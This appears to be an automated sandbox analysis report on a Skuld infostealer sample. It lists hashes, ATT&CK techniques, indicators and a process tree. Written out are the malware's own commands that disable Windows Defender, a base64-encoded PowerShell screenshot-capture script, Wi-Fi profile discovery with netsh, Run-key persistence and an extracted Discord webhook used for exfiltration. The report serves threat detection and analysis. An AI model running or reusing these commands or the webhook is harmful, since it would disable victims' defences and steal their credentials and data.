skuld | 125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad

Analysis

max time kernel
150s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14/09/2024, 16:34

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General

Target
dimmer.exe
Size 9.9MB
Sample240914-t3lcsstcnk
SHA256 125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad
MD5 caf1fa6480af98c28355550668388ab3
SHA1 793510e3cfc758b970a405dfb568697b388b22f4
SHA512 a5c1d2cf802528251779de302c4d3d84578126e11f3ce2b960d17248915d6ae353ff9b6b9cfce038bde15b940e5b29115210c26a22455e108f0b70b83036fd2f
SSDEEP 98304:OiyzkxkJslYf0Wk8+Z6Uhv0wD4xD1ZvE7IgwmZmHJ1RY7:OqkJsmD/Uhv0E4N1ZsrqG7
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1284535584374788180/DTgo2B6AyyBKkX7ZD2ZgnrcH0GT_qiLrmFMYI7yzH3RIwEtqht0lE9OyyQtWrmyXQ8Hl

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1760	powershell.exe
2260	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dimmer.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	dimmer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3324	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2692	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	16	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	dimmer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	dimmer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	dimmer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
1760	powershell.exe
1760	powershell.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
2260	powershell.exe
2260	powershell.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe
4884	dimmer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4884	dimmer.exe
Token: SeIncreaseQuotaPrivilege	4928	wmic.exe
Token: SeSecurityPrivilege	4928	wmic.exe
Token: SeTakeOwnershipPrivilege	4928	wmic.exe
Token: SeLoadDriverPrivilege	4928	wmic.exe
Token: SeSystemProfilePrivilege	4928	wmic.exe
Token: SeSystemtimePrivilege	4928	wmic.exe
Token: SeProfSingleProcessPrivilege	4928	wmic.exe
Token: SeIncBasePriorityPrivilege	4928	wmic.exe
Token: SeCreatePagefilePrivilege	4928	wmic.exe
Token: SeBackupPrivilege	4928	wmic.exe
Token: SeRestorePrivilege	4928	wmic.exe
Token: SeShutdownPrivilege	4928	wmic.exe
Token: SeDebugPrivilege	4928	wmic.exe
Token: SeSystemEnvironmentPrivilege	4928	wmic.exe
Token: SeRemoteShutdownPrivilege	4928	wmic.exe
Token: SeUndockPrivilege	4928	wmic.exe
Token: SeManageVolumePrivilege	4928	wmic.exe
Token: 33	4928	wmic.exe
Token: 34	4928	wmic.exe
Token: 35	4928	wmic.exe
Token: 36	4928	wmic.exe
Token: SeIncreaseQuotaPrivilege	4928	wmic.exe
Token: SeSecurityPrivilege	4928	wmic.exe
Token: SeTakeOwnershipPrivilege	4928	wmic.exe
Token: SeLoadDriverPrivilege	4928	wmic.exe
Token: SeSystemProfilePrivilege	4928	wmic.exe
Token: SeSystemtimePrivilege	4928	wmic.exe
Token: SeProfSingleProcessPrivilege	4928	wmic.exe
Token: SeIncBasePriorityPrivilege	4928	wmic.exe
Token: SeCreatePagefilePrivilege	4928	wmic.exe
Token: SeBackupPrivilege	4928	wmic.exe
Token: SeRestorePrivilege	4928	wmic.exe
Token: SeShutdownPrivilege	4928	wmic.exe
Token: SeDebugPrivilege	4928	wmic.exe
Token: SeSystemEnvironmentPrivilege	4928	wmic.exe
Token: SeRemoteShutdownPrivilege	4928	wmic.exe
Token: SeUndockPrivilege	4928	wmic.exe
Token: SeManageVolumePrivilege	4928	wmic.exe
Token: 33	4928	wmic.exe
Token: 34	4928	wmic.exe
Token: 35	4928	wmic.exe
Token: 36	4928	wmic.exe
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4888	wmic.exe
Token: SeSecurityPrivilege	4888	wmic.exe
Token: SeTakeOwnershipPrivilege	4888	wmic.exe
Token: SeLoadDriverPrivilege	4888	wmic.exe
Token: SeSystemProfilePrivilege	4888	wmic.exe
Token: SeSystemtimePrivilege	4888	wmic.exe
Token: SeProfSingleProcessPrivilege	4888	wmic.exe
Token: SeIncBasePriorityPrivilege	4888	wmic.exe
Token: SeCreatePagefilePrivilege	4888	wmic.exe
Token: SeBackupPrivilege	4888	wmic.exe
Token: SeRestorePrivilege	4888	wmic.exe
Token: SeShutdownPrivilege	4888	wmic.exe
Token: SeDebugPrivilege	4888	wmic.exe
Token: SeSystemEnvironmentPrivilege	4888	wmic.exe
Token: SeRemoteShutdownPrivilege	4888	wmic.exe
Token: SeUndockPrivilege	4888	wmic.exe
Token: SeManageVolumePrivilege	4888	wmic.exe
Token: 33	4888	wmic.exe
Token: 34	4888	wmic.exe
Token: 35	4888	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 2264	4884	dimmer.exe	86
PID 4884 wrote to memory of 2264	4884	dimmer.exe	86
PID 4884 wrote to memory of 4928	4884	dimmer.exe	87
PID 4884 wrote to memory of 4928	4884	dimmer.exe	87
PID 4884 wrote to memory of 1760	4884	dimmer.exe	88
PID 4884 wrote to memory of 1760	4884	dimmer.exe	88
PID 4884 wrote to memory of 4616	4884	dimmer.exe	90
PID 4884 wrote to memory of 4616	4884	dimmer.exe	90
PID 4884 wrote to memory of 4888	4884	dimmer.exe	91
PID 4884 wrote to memory of 4888	4884	dimmer.exe	91
PID 4884 wrote to memory of 2260	4884	dimmer.exe	92
PID 4884 wrote to memory of 2260	4884	dimmer.exe	92
PID 4884 wrote to memory of 2692	4884	dimmer.exe	93
PID 4884 wrote to memory of 2692	4884	dimmer.exe	93
PID 4884 wrote to memory of 3740	4884	dimmer.exe	94
PID 4884 wrote to memory of 3740	4884	dimmer.exe	94
PID 4884 wrote to memory of 3600	4884	dimmer.exe	95
PID 4884 wrote to memory of 3600	4884	dimmer.exe	95
PID 4884 wrote to memory of 5004	4884	dimmer.exe	96
PID 4884 wrote to memory of 5004	4884	dimmer.exe	96
PID 4884 wrote to memory of 3324	4884	dimmer.exe	98
PID 4884 wrote to memory of 3324	4884	dimmer.exe	98
PID 4884 wrote to memory of 4216	4884	dimmer.exe	100
PID 4884 wrote to memory of 4216	4884	dimmer.exe	100
PID 4216 wrote to memory of 624	4216	powershell.exe	101
PID 4216 wrote to memory of 624	4216	powershell.exe	101
PID 624 wrote to memory of 2136	624	csc.exe	102
PID 624 wrote to memory of 2136	624	csc.exe	102

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2264	attrib.exe
4616	attrib.exe
3600	attrib.exe
5004	attrib.exe

C:\Users\Admin\AppData\Local\Temp\dimmer.exe
"C:\Users\Admin\AppData\Local\Temp\dimmer.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\dimmer.exe
  2⤵
  - Views/modifies file attributes
  PID:2264
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\dimmer.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1760
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:4616
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2260
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2692
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:3740
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:3600
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:5004
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:624
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC38E.tmp" "c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\CSC7DC9B61D87F45C6BAB0B0EF5E206B4C.TMP"
      4⤵
      PID:2136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001
